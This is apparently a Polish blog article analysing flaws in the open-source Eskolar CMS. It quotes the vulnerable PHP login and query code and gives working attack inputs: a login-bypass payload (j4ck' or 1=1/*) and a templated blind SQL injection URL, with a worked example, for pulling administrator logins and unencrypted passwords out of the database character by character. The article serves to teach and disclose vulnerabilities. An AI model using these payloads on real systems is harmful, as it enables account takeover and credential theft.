Podatności w kodzie – Blind SQLi, Bypass Logon w Eskolar CMS

Błędy w systemie Eskolar CMS

Jak działa Blind SQL Injection w akcji, co to jest Bypass Logon. Tego dowiesz się z poniższego artykułu na podstawie praktycznego przykładu realnej aplikacji. Błędy opisywane tutaj występowały w systemie OpenSource ‘Eskolar CMS’. Błędy pozwalały na zalogowanie się jako administrator, odczyt nieszyfrowanych haseł z bazy danych. Zacznijmy od analizy błędu, który umożliwia zalogowanie się do systemu jako administrator. Przeanalizujmy fragment kodu w Eskolar CMS (plik php/esa.php), odpowiedzialnego za proces logowania (linie 27-34):

$uid = isset ($_POST['uid']) ? $_POST['uid'] : $_SESSION['uid'];
$pwd = isset ($_POST['pwd']) ? $_POST['pwd'] : $_SESSION['pwd'];
//$prefix="esa";
$enter = 0;
$_SESSION['uid'] = $uid;
$_SESSION['pwd'] = $pwd;
mysql_select_db($database_bkb, $bkb);
$q_a = “SELECT * FROM “.$prefix.”_admin_user WHERE `user` = ‘”.$uid.”‘ AND `password` = ‘”.$pwd.”‘”;

Jeśli ustawione są zmienne uid oraz pwd żądaniami typu POST, przyjmują wartość z tych żądań. Jeśli nie są przekazane metodą POST, wykorzystywane są zmienne sesyjne uid i pwd.

Zainicjowane zmienne uid i pwd są wykorzystane następnie do przypisania pod zmienne sesyjne o takich samych nazwach (uid, pwd). Następnie wykonane jest zapytanie SQL do bazy, z wykorzystaniem zmiennych uid, pwd. Zmienne od momentu zainicjowania do momentu wykorzystania w zapytaniu nie są w żadnym miejscu czyszczone z niebezpiecznych znaków.

Jedynym utrudnieniem tutaj może być ujęcie wartości zmiennych w znaki apostrofu, co wymusza na atakującym użycie właśnie takich samych znaków do zamknięcia zapytania. Jeśli aplikacja jest na serwerze, gdzie nie mamy skonfigurowanej dyrektywy magic_quotes na ‘on’ możemy bez trudu zalogować się do panelu podając np.: Login: j4ck’ or 1=1/* Hasło: puste

Błędy implementacyjne w Eskolar CMS

Kolejną nieprawidłowość, wystarczającą do przejęcia wszystkich kont użytkowników Eskolar CMS wraz z ich loginami i hasłami w czystej postaci, możemy znaleźć np. w pliku index.php:

Poniżej linie kodu, które są interesujące z powodu błędów implementacyjnych (Linie 161-172, 202):

if (isset ($_GET['gr_1_id'])) {
$gr_1_id = (get_magic_quotes_gpc()) ? $_GET['gr_1_id'] : addslashes($_GET['gr_1_id']);
}
if (isset ($_GET['gr_2_id'])) {
$gr_2_id = (get_magic_quotes_gpc()) ? $_GET['gr_2_id'] : addslashes($_GET['gr_2_id']);
}
if (isset ($_GET['gr_3_id'])) {
$gr_3_id = (get_magic_quotes_gpc()) ? $_GET['gr_3_id'] : addslashes($_GET['gr_3_id']);
}
if (isset ($_GET['doc_id'])) {
$doc_id = (get_magic_quotes_gpc()) ? $_GET['doc_id'] : addslashes($_GET['doc_id']);
}
$q = "SELECT * FROM ".$prefix."_admin_group_3 WHERE id = ".$gr_3_id." ORDER BY 'sorted' ASC";

Widzimy tutaj, że zmienne używane do zapytania (gr_1_id, gr_2_id, …) są obłożone funkcją addslashes, jeśli dyrektywa magic_quotes_gpc nie jest ustawiona na ‘on’. Jeśli magic_quotes_gpc jest ‘on’, zostanie ona użyta w celu dodawania znaków unikowych. Ten typ instrukcji warunkowych jest prawidłowo wykorzystywany. Zabezpiecza on przed dwukrotnym użyciem znaku unikowego, co w efekcie spowodowałoby, że jeden znak unikowy niwelowałby drugi znak i zabezpieczenie nie zadziałałoby.

To zabezpieczenie i poprawność wykonania instrukcji warunkowej, nie oznacza że aplikacja jeszcze jest bezpieczna. Na pierwszy rzut oka widzimy tutaj, że w zapytaniu nie jest wskazane jawnie miejsce pobierania zmiennych. Mogą być one przekazane np. metodą POST lub COOKIE, ale wymaga żeby zmienne globalne były włączone. Gdyby tak było nie musimy się w ogóle martwić apostrofami – możliwe jest wykonanie klasycznego ataku SQL Injection.

Atak Blind SQL Injection

Ja postaram się opisać sytuację nieco ciekawszą – sytuację gdzie poprawnie działa mechanizm znaków unikowych. Atakujący musi obawiać się znaków backslash, co bardzo utrudnia przeprowadzenie ataku SQL Injection. Opiszę więc sytuację gdzie atakujący posługuje się metodą GET w celu dostarczenia własnego zapytania do bazy.

W tej sytuacji, jeśli nie ma innych zabezpieczeń przed SQL Injection niż magic_quotes/addslashes możemy wykonać atak typu Blind SQL Injection. Jak będzie wyglądać zapytanie GET pozwalające uzyskać dane z bazy ? – Poniżej przykład:

http://serwer/?doc_id=99999/**/or/**/1=1/**/and/**/ascii(substring((select/**/$ARR[$k]/**/from/**/$prefixDB_admin_user/**/limit/**/1),$j,1))/**/=/**/$i

Gdzie:
$k – indeks tablicy ARR – przyjmuje wartość 0 lub 1
$ilicznik pętli drukowalnych znaków ASCII z przedziału 32-127
$j – pozycja szukanego znaku w haśle/loginie
$ARR[$k] – wartość tablicy ARR od indeksu k – przyjmuje wartość szukanego pola tabeli np. user, password
$prefixDB – prefix bazy danych ustawiany przy instalacji. Domyślnie ma wartość: ‘esa’

Powyższy przykład w jednej z iteracji może wyglądać następująco:

http://serwer/?doc_id=99999/**/or/**/1=1/**/and/**/ascii(substring((select/**/password/**/from/**/esa_admin_user/**/limit/**/1),1,1))/**/=/**/41

Wynikiem takiego żądania z perspektywy serwera SQL będzie albo wartość logiczna TRUE lub FALSE, a rezultatem widocznym dla użytkownika np, zmiana wyświetlanego komunikatu, jakiś dodatkowy znak na stronie. W przypadku aplikacji Eskolar w jednym ze stanów logicznych jest wyświetlany komunikat, którego nie ma w drugim ze stanów.

Jak widzimy, nigdzie nie jest użyty apostrof, przed którym aplikacja posiada zabezpieczenia. Nie użyty jest również cudzysłów, znak terminujący NULL, backslash, więc ominęliśmy zabezpieczenia programisty. Taki atak nazywamy Blind SQL Injection. Szczegóły ataku zostaną opisane w naszym dziale Artykuły.

Na koniec kolejny z błędów, to brak szyfrowania w bazie danych. Nawet w przypadku skutecznego ataku SQL Injection/Blind SQL Injection, silne szyfrowanie stanowi dodatkową przeszkodę dla atakującego. W przypadku CMS’a nie mamy szyfrowania co naraża na poznanie haseł w bazie.

0 0 votes
Ocena artykułu
Subscribe
Powiadom o
guest
0 komentarzy
Inline Feedbacks
View all comments
0
Zależy mi na Twojej opinii poniżej 😀x